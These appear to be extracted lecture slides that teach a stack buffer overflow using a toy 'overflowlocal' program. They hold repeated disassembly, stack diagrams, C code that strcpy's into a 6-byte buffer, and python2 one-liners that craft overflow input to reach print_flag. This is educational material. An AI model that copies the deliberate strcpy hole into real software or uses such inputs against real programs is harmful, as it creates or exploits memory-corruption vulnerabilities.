Local v: buf; 6 bytes

000012c4 <vulfoo>:
    12c4:       55                      push   ebp
    12c5:       89 e5                   mov    ebp,esp
    12c7:       83 ec 18                sub    esp,0x18
    12ca:       8b 45 08                mov    eax,DWORD PTR [ebp+0x8]
    12cd:       89 45 f4                mov    DWORD PTR [ebp-0xc],eax
    12d0:       83 ec 08                sub    esp,0x8
    12d3:       ff 75 0c                push   DWORD PTR [ebp+0xc]
    12d6:       8d 45 ee                lea    eax,[ebp-0x12]
    12d9:       50                      push   eax
    12da:       e8 fc ff ff ff          call   12db <vulfoo+0x17>
    12df:       83 c4 10                add    esp,0x10
    12e2:       83 7d f4 00             cmp    DWORD PTR [ebp-0xc],0x0
    12e6:       74 07                   je     12ef <vulfoo+0x2b>
    12e8:       e8 10 ff ff ff          call   11fd <print_flag>
    12ed:       eb 10                   jmp    12ff <vulfoo+0x3b>
    12ef:       83 ec 0c                sub    esp,0xc
    12f2:       68 45 20 00 00          push   0x2045
    12f7:       e8 fc ff ff ff          call   12f8 <vulfoo+0x34>
    12fc:       83 c4 10                add    esp,0x10
    12ff:       b8 00 00 00 00          mov    eax,0x0
    1304:       c9                      leave  
    1305:       c3                      ret    



Buffer Overflow Example: overflowlocal

p

i = 0

RET

Old ebp

0; Local v: j
0x20

p

Local v: buf; 6 bytes

Addr of bufesp

000012c4 <vulfoo>:
    12c4:       55                      push   ebp
    12c5:       89 e5                   mov    ebp,esp
    12c7:       83 ec 18                sub    esp,0x18
    12ca:       8b 45 08                mov    eax,DWORD PTR [ebp+0x8]
    12cd:       89 45 f4                mov    DWORD PTR [ebp-0xc],eax
    12d0:       83 ec 08                sub    esp,0x8
    12d3:       ff 75 0c                push   DWORD PTR [ebp+0xc]
    12d6:       8d 45 ee                lea    eax,[ebp-0x12]
    12d9:       50                      push   eax
    12da:       e8 fc ff ff ff          call   12db <vulfoo+0x17>
    12df:       83 c4 10                add    esp,0x10
    12e2:       83 7d f4 00             cmp    DWORD PTR [ebp-0xc],0x0
    12e6:       74 07                   je     12ef <vulfoo+0x2b>
    12e8:       e8 10 ff ff ff          call   11fd <print_flag>
    12ed:       eb 10                   jmp    12ff <vulfoo+0x3b>
    12ef:       83 ec 0c                sub    esp,0xc
    12f2:       68 45 20 00 00          push   0x2045
    12f7:       e8 fc ff ff ff          call   12f8 <vulfoo+0x34>
    12fc:       83 c4 10                add    esp,0x10
    12ff:       b8 00 00 00 00          mov    eax,0x0
    1304:       c9                      leave  
    1305:       c3                      ret    

ebp

[ebp+8]

[ebp+0xc]

[ebp-0xc]

eax; [ebp-0x12]



Buffer Overflow Example: overflowlocal

p

i = 0

RET

Old ebp

0; Local v: j
0x20

p

Local v: buf; 6 bytes

Addr of bufesp

000012c4 <vulfoo>:
    12c4:       55                      push   ebp
    12c5:       89 e5                   mov    ebp,esp
    12c7:       83 ec 18                sub    esp,0x18
    12ca:       8b 45 08                mov    eax,DWORD PTR [ebp+0x8]
    12cd:       89 45 f4                mov    DWORD PTR [ebp-0xc],eax
    12d0:       83 ec 08                sub    esp,0x8
    12d3:       ff 75 0c                push   DWORD PTR [ebp+0xc]
    12d6:       8d 45 ee                lea    eax,[ebp-0x12]
    12d9:       50                      push   eax
    12da:       e8 fc ff ff ff          call   12db <vulfoo+0x17>
    12df:       83 c4 10                add    esp,0x10
    12e2:       83 7d f4 00             cmp    DWORD PTR [ebp-0xc],0x0
    12e6:       74 07                   je     12ef <vulfoo+0x2b>
    12e8:       e8 10 ff ff ff          call   11fd <print_flag>
    12ed:       eb 10                   jmp    12ff <vulfoo+0x3b>
    12ef:       83 ec 0c                sub    esp,0xc
    12f2:       68 45 20 00 00          push   0x2045
    12f7:       e8 fc ff ff ff          call   12f8 <vulfoo+0x34>
    12fc:       83 c4 10                add    esp,0x10
    12ff:       b8 00 00 00 00          mov    eax,0x0
    1304:       c9                      leave  
    1305:       c3                      ret    

ebp

[ebp+8]

[ebp+0xc]

[ebp-0xc]

eax; [ebp-0x12]



Buffer Overflow Example: overflowlocal

p

i = 0

RET

Old ebp

??; Local v: j
0x20

p

Local v: buf; 6 bytes

Addr of buf

000012c4 <vulfoo>:
    12c4:       55                      push   ebp
    12c5:       89 e5                   mov    ebp,esp
    12c7:       83 ec 18                sub    esp,0x18
    12ca:       8b 45 08                mov    eax,DWORD PTR [ebp+0x8]
    12cd:       89 45 f4                mov    DWORD PTR [ebp-0xc],eax
    12d0:       83 ec 08                sub    esp,0x8
    12d3:       ff 75 0c                push   DWORD PTR [ebp+0xc]
    12d6:       8d 45 ee                lea    eax,[ebp-0x12]
    12d9:       50                      push   eax
    12da:       e8 fc ff ff ff          call   12db <vulfoo+0x17>
    12df:       83 c4 10                add    esp,0x10
    12e2:       83 7d f4 00             cmp    DWORD PTR [ebp-0xc],0x0
    12e6:       74 07                   je     12ef <vulfoo+0x2b>
    12e8:       e8 10 ff ff ff          call   11fd <print_flag>
    12ed:       eb 10                   jmp    12ff <vulfoo+0x3b>
    12ef:       83 ec 0c                sub    esp,0xc
    12f2:       68 45 20 00 00          push   0x2045
    12f7:       e8 fc ff ff ff          call   12f8 <vulfoo+0x34>
    12fc:       83 c4 10                add    esp,0x10
    12ff:       b8 00 00 00 00          mov    eax,0x0
    1304:       c9                      leave  
    1305:       c3                      ret    

esp

ebp

[ebp+8]

[ebp+0xc]

[ebp-0xc]

eax; [ebp-0x12]



Buffer Overflow Example: overflowlocal

p

i = 0

RET

Old ebp

??; Local v: j
0x20

p

Local v: buf; 6 bytes

Addr of buf

000012c4 <vulfoo>:
    12c4:       55                      push   ebp
    12c5:       89 e5                   mov    ebp,esp
    12c7:       83 ec 18                sub    esp,0x18
    12ca:       8b 45 08                mov    eax,DWORD PTR [ebp+0x8]
    12cd:       89 45 f4                mov    DWORD PTR [ebp-0xc],eax
    12d0:       83 ec 08                sub    esp,0x8
    12d3:       ff 75 0c                push   DWORD PTR [ebp+0xc]
    12d6:       8d 45 ee                lea    eax,[ebp-0x12]
    12d9:       50                      push   eax
    12da:       e8 fc ff ff ff          call   12db <vulfoo+0x17>
    12df:       83 c4 10                add    esp,0x10
    12e2:       83 7d f4 00             cmp    DWORD PTR [ebp-0xc],0x0
    12e6:       74 07                   je     12ef <vulfoo+0x2b>
    12e8:       e8 10 ff ff ff          call   11fd <print_flag>
    12ed:       eb 10                   jmp    12ff <vulfoo+0x3b>
    12ef:       83 ec 0c                sub    esp,0xc
    12f2:       68 45 20 00 00          push   0x2045
    12f7:       e8 fc ff ff ff          call   12f8 <vulfoo+0x34>
    12fc:       83 c4 10                add    esp,0x10
    12ff:       b8 00 00 00 00          mov    eax,0x0
    1304:       c9                      leave  
    1305:       c3                      ret    

esp

ebp

[ebp+8]

[ebp+0xc]

[ebp-0xc]

eax; [ebp-0x12]



Buffer Overflow Example: overflowlocal

p

i = 0

RET

Old %ebp

??; Local v: j
0x20

p

Local v: buf; 6 bytes

Addr of buf
0x8

esp

ebp

[ebp+8]

[ebp+0xc]

[ebp-0xc]

eax; [ebp-0x12]

000012c4 <vulfoo>:
    12c4:       55                      push   ebp
    12c5:       89 e5                   mov    ebp,esp
    12c7:       83 ec 18                sub    esp,0x18
    12ca:       8b 45 08                mov    eax,DWORD PTR [ebp+0x8]
    12cd:       89 45 f4                mov    DWORD PTR [ebp-0xc],eax
    12d0:       83 ec 08                sub    esp,0x8
    12d3:       ff 75 0c                push   DWORD PTR [ebp+0xc]
    12d6:       8d 45 ee                lea    eax,[ebp-0x12]
    12d9:       50                      push   eax
    12da:       e8 fc ff ff ff          call   12db <vulfoo+0x17>
    12df:       83 c4 10                add    esp,0x10
    12e2:       83 7d f4 00             cmp    DWORD PTR [ebp-0xc],0x0
    12e6:       74 07                   je     12ef <vulfoo+0x2b>
    12e8:       e8 10 ff ff ff          call   11fd <print_flag>
    12ed:       eb 10                   jmp    12ff <vulfoo+0x3b>
    12ef:       83 ec 0c                sub    esp,0xc
    12f2:       68 45 20 00 00          push   0x2045
    12f7:       e8 fc ff ff ff          call   12f8 <vulfoo+0x34>
    12fc:       83 c4 10                add    esp,0x10
    12ff:       b8 00 00 00 00          mov    eax,0x0
    1304:       c9                      leave  
    1305:       c3                      ret    



Buffer Overflow Example: overflowlocal

p

i = 0

RET

Old %ebp

??; Local v: j
0x18

Local v: buf; 6 bytes

000012c4 <vulfoo>:
    12c4:       55                      push   ebp
    12c5:       89 e5                   mov    ebp,esp
    12c7:       83 ec 18                sub    esp,0x18
    12ca:       8b 45 08                mov    eax,DWORD PTR [ebp+0x8]
    12cd:       89 45 f4                mov    DWORD PTR [ebp-0xc],eax
    12d0:       83 ec 08                sub    esp,0x8
    12d3:       ff 75 0c                push   DWORD PTR [ebp+0xc]
    12d6:       8d 45 ee                lea    eax,[ebp-0x12]
    12d9:       50                      push   eax
    12da:       e8 fc ff ff ff          call   12db <vulfoo+0x17>
    12df:       83 c4 10                add    esp,0x10
    12e2:       83 7d f4 00             cmp    DWORD PTR [ebp-0xc],0x0
    12e6:       74 07                   je     12ef <vulfoo+0x2b>
    12e8:       e8 10 ff ff ff          call   11fd <print_flag>
    12ed:       eb 10                   jmp    12ff <vulfoo+0x3b>
    12ef:       83 ec 0c                sub    esp,0xc
    12f2:       68 45 20 00 00          push   0x2045
    12f7:       e8 fc ff ff ff          call   12f8 <vulfoo+0x34>
    12fc:       83 c4 10                add    esp,0x10
    12ff:       b8 00 00 00 00          mov    eax,0x0
    1304:       c9                      leave  
    1305:       c3                      ret    

esp

ebp

[ebp+8]

[ebp+0xc]

[ebp-0xc]

eax; [ebp-0x12]



Buffer Overflow Example: overflowlocal 64-bit

int vulfoo(int i, char* p)
{
  int j = i;
  char buf[6];

  strcpy(buf, p);

  if (j)
    print_flag();
  else
    printf("I pity the fool!\n");

  return 0;
}

int main(int argc, char *argv[])
{
  if (argc == 2)
    vulfoo(0, argv[1]);
}

000000000000125e <vulfoo>:
    125e:       55                      push   rbp
    125f:       48 89 e5                mov    rbp,rsp
    1262:       48 83 ec 20             sub    rsp,0x20
    1266:       89 7d ec                mov    DWORD PTR [rbp-0x14],edi
    1269:       48 89 75 e0             mov    QWORD PTR [rbp-0x20],rsi
    126d:       8b 45 ec                mov    eax,DWORD PTR [rbp-0x14]
    1270:       89 45 fc                mov    DWORD PTR [rbp-0x4],eax
    1273:       48 8b 55 e0             mov    rdx,QWORD PTR [rbp-0x20]
    1277:       48 8d 45 f6             lea    rax,[rbp-0xa]
    127b:       48 89 d6                mov    rsi,rdx
    127e:       48 89 c7                mov    rdi,rax
    1281:       e8 aa fd ff ff          call   1030 <strcpy@plt>
    1286:       83 7d fc 00             cmp    DWORD PTR [rbp-0x4],0x0
    128a:       74 0c                   je     1298 <vulfoo+0x3a>
    128c:       b8 00 00 00 00          mov    eax,0x0
    1291:       e8 f3 fe ff ff          call   1189 <print_flag>
    1296:       eb 0c                   jmp    12a4 <vulfoo+0x46>
    1298:       48 8d 3d a6 0d 00 00    lea    rdi,[rip+0xda6]        # 2045 
<_IO_stdin_used+0x45>
    129f:       e8 9c fd ff ff          call   1040 <puts@plt>
    12a4:       b8 00 00 00 00          mov    eax,0x0
    12a9:       c9                      leave  
    12aa:       c3                      ret   



overflowlocal2

int vulfoo(int i, char* p)
{
  int j = i;
  char buf[6];

  strcpy(buf, p);

  if (j == 0x12345678)
    print_flag();
  else
    printf("I pity the fool!\n");

  return 0;
}

int main(int argc, char *argv[])
{
  vulfoo(argc, argv[1]);
}



Shell Command

Run a program and use another program’s output as a parameter

./program $(python2 -c "print '\x12\x34'*5")



Shell Command

Compute some data and redirect the output to another program’s stdin

python2 -c "print 'A'*18+'\x2d\x62\x55\x56' + 'A'*4 + '\x78\x56\x34\x12'" | 
./program


